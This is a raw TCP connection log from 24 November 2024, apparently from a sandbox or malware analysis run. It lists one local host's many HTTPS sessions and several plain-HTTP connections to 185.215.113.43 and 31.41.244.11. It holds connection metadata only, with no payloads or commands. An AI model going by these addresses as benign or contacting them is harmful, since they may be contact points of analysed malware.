Nov 24, 2024 10:24:04.549197912 CET	49796	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:04.549231052 CET	443	49796	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:04.549318075 CET	49796	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:04.549460888 CET	49796	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:04.549474955 CET	443	49796	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:04.677086115 CET	443	49790	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:04.677124023 CET	443	49790	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:04.677226067 CET	49790	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:04.677238941 CET	443	49790	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:04.677270889 CET	443	49793	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:04.677283049 CET	49790	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:04.677483082 CET	49790	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:04.677489042 CET	443	49790	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:04.677504063 CET	49790	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:04.677664995 CET	443	49790	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:04.677701950 CET	443	49790	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:04.678575039 CET	49790	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:04.680193901 CET	49797	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:04.680212021 CET	443	49797	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:04.680464029 CET	443	49793	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:04.680572987 CET	49797	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:04.680576086 CET	49793	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:04.680634022 CET	49793	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:04.680650949 CET	443	49793	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:04.680661917 CET	49793	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:04.680666924 CET	443	49793	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:04.680710077 CET	49797	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:04.680721998 CET	443	49797	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:04.682799101 CET	49798	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:04.682818890 CET	443	49798	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:04.682878971 CET	49798	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:04.683320999 CET	49798	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:04.683329105 CET	443	49798	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:04.716224909 CET	443	49794	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:04.716710091 CET	49794	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:04.716733932 CET	443	49794	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:04.717206001 CET	49794	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:04.717214108 CET	443	49794	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:04.735862017 CET	443	49792	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:04.735923052 CET	443	49792	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:04.735971928 CET	49792	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:04.736335993 CET	49792	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:04.736357927 CET	443	49792	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:04.736367941 CET	49792	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:04.736372948 CET	443	49792	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:04.739557028 CET	49799	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:04.739569902 CET	443	49799	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:04.739638090 CET	49799	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:04.739784956 CET	49799	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:04.739799976 CET	443	49799	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:05.170516968 CET	443	49794	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:05.173628092 CET	443	49794	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:05.173708916 CET	49794	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:05.173743963 CET	49794	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:05.173765898 CET	443	49794	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:05.173779011 CET	49794	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:05.173787117 CET	443	49794	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:05.177103043 CET	49800	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:05.177126884 CET	443	49800	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:05.177233934 CET	49800	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:05.177423954 CET	49800	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:05.177436113 CET	443	49800	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:05.589216948 CET	49801	80	192.168.2.5	185.215.113.43
Nov 24, 2024 10:24:05.708764076 CET	80	49801	185.215.113.43	192.168.2.5
Nov 24, 2024 10:24:05.708970070 CET	49801	80	192.168.2.5	185.215.113.43
Nov 24, 2024 10:24:05.709229946 CET	49801	80	192.168.2.5	185.215.113.43
Nov 24, 2024 10:24:05.828649044 CET	80	49801	185.215.113.43	192.168.2.5
Nov 24, 2024 10:24:06.001061916 CET	443	49795	20.109.210.53	192.168.2.5
Nov 24, 2024 10:24:06.001267910 CET	49795	443	192.168.2.5	20.109.210.53
Nov 24, 2024 10:24:06.005276918 CET	49795	443	192.168.2.5	20.109.210.53
Nov 24, 2024 10:24:06.005297899 CET	443	49795	20.109.210.53	192.168.2.5
Nov 24, 2024 10:24:06.005530119 CET	443	49795	20.109.210.53	192.168.2.5
Nov 24, 2024 10:24:06.014235973 CET	49795	443	192.168.2.5	20.109.210.53
Nov 24, 2024 10:24:06.055345058 CET	443	49795	20.109.210.53	192.168.2.5
Nov 24, 2024 10:24:06.344310045 CET	443	49796	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:06.344887018 CET	49796	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:06.344912052 CET	443	49796	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:06.345396996 CET	49796	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:06.345402956 CET	443	49796	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:06.423629045 CET	443	49798	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:06.427124023 CET	49798	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:06.427149057 CET	443	49798	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:06.427531004 CET	49798	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:06.427537918 CET	443	49798	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:06.470324993 CET	443	49799	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:06.471117020 CET	49799	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:06.471132040 CET	443	49799	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:06.471641064 CET	49799	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:06.471645117 CET	443	49799	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:06.479967117 CET	443	49797	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:06.480365992 CET	49797	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:06.480371952 CET	443	49797	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:06.480865955 CET	49797	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:06.480869055 CET	443	49797	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:06.684703112 CET	443	49795	20.109.210.53	192.168.2.5
Nov 24, 2024 10:24:06.684720039 CET	443	49795	20.109.210.53	192.168.2.5
Nov 24, 2024 10:24:06.684756994 CET	443	49795	20.109.210.53	192.168.2.5
Nov 24, 2024 10:24:06.684900045 CET	49795	443	192.168.2.5	20.109.210.53
Nov 24, 2024 10:24:06.684938908 CET	443	49795	20.109.210.53	192.168.2.5
Nov 24, 2024 10:24:06.684997082 CET	49795	443	192.168.2.5	20.109.210.53
Nov 24, 2024 10:24:06.724590063 CET	443	49795	20.109.210.53	192.168.2.5
Nov 24, 2024 10:24:06.724627972 CET	443	49795	20.109.210.53	192.168.2.5
Nov 24, 2024 10:24:06.724649906 CET	443	49795	20.109.210.53	192.168.2.5
Nov 24, 2024 10:24:06.724745989 CET	49795	443	192.168.2.5	20.109.210.53
Nov 24, 2024 10:24:06.724772930 CET	49795	443	192.168.2.5	20.109.210.53
Nov 24, 2024 10:24:06.724963903 CET	49795	443	192.168.2.5	20.109.210.53
Nov 24, 2024 10:24:06.724994898 CET	443	49795	20.109.210.53	192.168.2.5
Nov 24, 2024 10:24:06.725013018 CET	49795	443	192.168.2.5	20.109.210.53
Nov 24, 2024 10:24:06.725020885 CET	443	49795	20.109.210.53	192.168.2.5
Nov 24, 2024 10:24:06.792803049 CET	443	49796	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:06.796159983 CET	443	49796	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:06.798603058 CET	49796	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:06.803175926 CET	49796	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:06.803204060 CET	443	49796	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:06.803219080 CET	49796	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:06.803226948 CET	443	49796	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:06.806253910 CET	49802	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:06.806281090 CET	443	49802	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:06.806415081 CET	49802	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:06.807419062 CET	49802	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:06.807430029 CET	443	49802	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:06.861881018 CET	443	49798	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:06.865091085 CET	443	49798	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:06.865288973 CET	49798	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:06.865309954 CET	49798	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:06.865323067 CET	443	49798	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:06.865334034 CET	49798	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:06.865338087 CET	443	49798	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:06.868272066 CET	49803	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:06.868299961 CET	443	49803	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:06.868391991 CET	49803	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:06.868617058 CET	49803	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:06.868627071 CET	443	49803	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:06.910063982 CET	443	49799	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:06.913305998 CET	443	49799	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:06.913353920 CET	49799	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:06.913444996 CET	49799	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:06.913455009 CET	443	49799	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:06.913494110 CET	49799	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:06.913497925 CET	443	49799	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:06.916218042 CET	49804	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:06.916277885 CET	443	49804	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:06.916343927 CET	49804	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:06.916532040 CET	49804	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:06.916549921 CET	443	49804	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:06.925451994 CET	443	49797	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:06.929872990 CET	443	49797	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:06.929935932 CET	49797	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:06.930000067 CET	49797	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:06.930002928 CET	443	49797	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:06.930012941 CET	49797	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:06.930017948 CET	443	49797	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:06.932224035 CET	49805	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:06.932287931 CET	443	49805	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:06.932377100 CET	49805	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:06.932528019 CET	49805	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:06.932555914 CET	443	49805	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:06.985130072 CET	443	49800	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:06.985534906 CET	49800	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:06.985552073 CET	443	49800	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:06.985991955 CET	49800	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:06.985997915 CET	443	49800	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:07.121098042 CET	80	49801	185.215.113.43	192.168.2.5
Nov 24, 2024 10:24:07.122605085 CET	49801	80	192.168.2.5	185.215.113.43
Nov 24, 2024 10:24:07.431380033 CET	443	49800	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:07.434448004 CET	443	49800	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:07.434523106 CET	49800	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:07.434638023 CET	49800	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:07.434653044 CET	443	49800	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:07.434669018 CET	49800	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:07.434674978 CET	443	49800	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:07.438759089 CET	49806	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:07.438806057 CET	443	49806	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:07.438873053 CET	49806	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:07.439042091 CET	49806	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:07.439058065 CET	443	49806	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:08.599664927 CET	443	49802	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:08.600512981 CET	49802	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:08.600531101 CET	443	49802	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:08.601037025 CET	49802	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:08.601042986 CET	443	49802	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:08.650870085 CET	49801	80	192.168.2.5	185.215.113.43
Nov 24, 2024 10:24:08.651200056 CET	49807	80	192.168.2.5	185.215.113.43
Nov 24, 2024 10:24:08.661508083 CET	443	49803	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:08.661957979 CET	49803	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:08.661978960 CET	443	49803	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:08.662412882 CET	49803	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:08.662416935 CET	443	49803	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:08.708636045 CET	443	49804	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:08.709211111 CET	49804	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:08.709250927 CET	443	49804	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:08.709642887 CET	49804	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:08.709650040 CET	443	49804	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:08.770797968 CET	80	49801	185.215.113.43	192.168.2.5
Nov 24, 2024 10:24:08.770826101 CET	80	49807	185.215.113.43	192.168.2.5
Nov 24, 2024 10:24:08.770886898 CET	49801	80	192.168.2.5	185.215.113.43
Nov 24, 2024 10:24:08.770951986 CET	49807	80	192.168.2.5	185.215.113.43
Nov 24, 2024 10:24:08.771181107 CET	49807	80	192.168.2.5	185.215.113.43
Nov 24, 2024 10:24:08.791492939 CET	443	49805	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:08.792036057 CET	49805	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:08.792067051 CET	443	49805	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:08.792516947 CET	49805	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:08.792522907 CET	443	49805	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:08.890605927 CET	80	49807	185.215.113.43	192.168.2.5
Nov 24, 2024 10:24:09.050779104 CET	443	49802	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:09.054032087 CET	443	49802	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:09.054105043 CET	49802	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:09.054152012 CET	49802	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:09.054169893 CET	443	49802	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:09.054187059 CET	49802	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:09.054193020 CET	443	49802	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:09.057749033 CET	49808	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:09.057782888 CET	443	49808	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:09.057878017 CET	49808	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:09.058062077 CET	49808	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:09.058073997 CET	443	49808	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:09.112540960 CET	443	49803	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:09.116214991 CET	443	49803	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:09.116292953 CET	49803	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:09.116358042 CET	49803	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:09.116370916 CET	443	49803	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:09.116380930 CET	49803	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:09.116384983 CET	443	49803	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:09.119503021 CET	49809	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:09.119527102 CET	443	49809	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:09.119609118 CET	49809	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:09.119740963 CET	49809	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:09.119755030 CET	443	49809	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:09.160037041 CET	443	49804	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:09.163192034 CET	443	49804	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:09.163274050 CET	49804	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:09.163316965 CET	49804	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:09.163340092 CET	443	49804	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:09.163353920 CET	49804	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:09.163360119 CET	443	49804	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:09.166323900 CET	49810	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:09.166342020 CET	443	49810	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:09.166425943 CET	49810	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:09.166917086 CET	49810	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:09.166924953 CET	443	49810	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:09.247981071 CET	443	49805	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:09.250953913 CET	443	49805	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:09.251060963 CET	443	49805	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:09.251058102 CET	49805	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:09.251141071 CET	49805	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:09.251203060 CET	49805	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:09.251238108 CET	443	49805	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:09.251267910 CET	49805	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:09.251282930 CET	443	49805	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:09.254379034 CET	49811	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:09.254396915 CET	443	49811	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:09.254486084 CET	49811	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:09.254671097 CET	49811	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:09.254682064 CET	443	49811	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:09.302535057 CET	443	49806	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:09.303139925 CET	49806	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:09.303164959 CET	443	49806	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:09.303642035 CET	49806	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:09.303647041 CET	443	49806	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:09.755301952 CET	443	49806	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:09.758389950 CET	443	49806	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:09.758461952 CET	49806	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:09.758656979 CET	49806	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:09.758656979 CET	49806	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:09.758673906 CET	443	49806	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:09.758685112 CET	443	49806	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:09.761543989 CET	49812	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:09.761600971 CET	443	49812	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:09.761688948 CET	49812	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:09.761858940 CET	49812	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:09.761893988 CET	443	49812	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:10.179105997 CET	80	49807	185.215.113.43	192.168.2.5
Nov 24, 2024 10:24:10.179224968 CET	49807	80	192.168.2.5	185.215.113.43
Nov 24, 2024 10:24:10.183789968 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:10.487768888 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:10.487982988 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:10.488104105 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:10.611601114 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:11.027597904 CET	443	49808	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:11.028242111 CET	49808	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:11.028259993 CET	443	49808	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:11.028811932 CET	49808	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:11.028816938 CET	443	49808	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:11.045476913 CET	443	49810	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:11.045842886 CET	49810	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:11.045854092 CET	443	49810	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:11.046245098 CET	49810	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:11.046250105 CET	443	49810	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:11.046654940 CET	443	49809	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:11.046905041 CET	49809	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:11.046921015 CET	443	49809	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:11.047240019 CET	49809	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:11.047245026 CET	443	49809	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:11.107902050 CET	443	49811	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:11.108336926 CET	49811	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:11.108347893 CET	443	49811	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:11.108747005 CET	49811	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:11.108750105 CET	443	49811	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:11.471335888 CET	443	49808	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:11.474679947 CET	443	49808	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:11.474737883 CET	443	49808	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:11.474775076 CET	49808	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:11.474808931 CET	49808	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:11.474870920 CET	49808	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:11.474884033 CET	443	49808	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:11.474893093 CET	49808	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:11.474898100 CET	443	49808	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:11.478621006 CET	49814	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:11.478665113 CET	443	49814	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:11.478746891 CET	49814	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:11.478929043 CET	49814	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:11.478950024 CET	443	49814	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:11.498619080 CET	443	49810	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:11.498927116 CET	443	49809	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:11.501785040 CET	443	49810	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:11.501835108 CET	49810	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:11.501883984 CET	49810	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:11.501888990 CET	443	49810	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:11.501899004 CET	49810	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:11.501904964 CET	443	49810	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:11.502187014 CET	443	49809	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:11.502254009 CET	49809	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:11.502305031 CET	49809	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:11.502326965 CET	443	49809	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:11.502341986 CET	49809	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:11.502351046 CET	443	49809	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:11.504729033 CET	49815	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:11.504796028 CET	443	49815	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:11.504873991 CET	49815	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:11.504981995 CET	49816	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:11.505007029 CET	49815	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:11.505009890 CET	443	49816	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:11.505033016 CET	443	49815	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:11.505067110 CET	49816	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:11.505166054 CET	49816	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:11.505177975 CET	443	49816	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:11.560863018 CET	443	49811	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:11.563913107 CET	443	49811	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:11.563996077 CET	49811	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:11.564030886 CET	49811	443	192.168.2.5	13.107.246.63
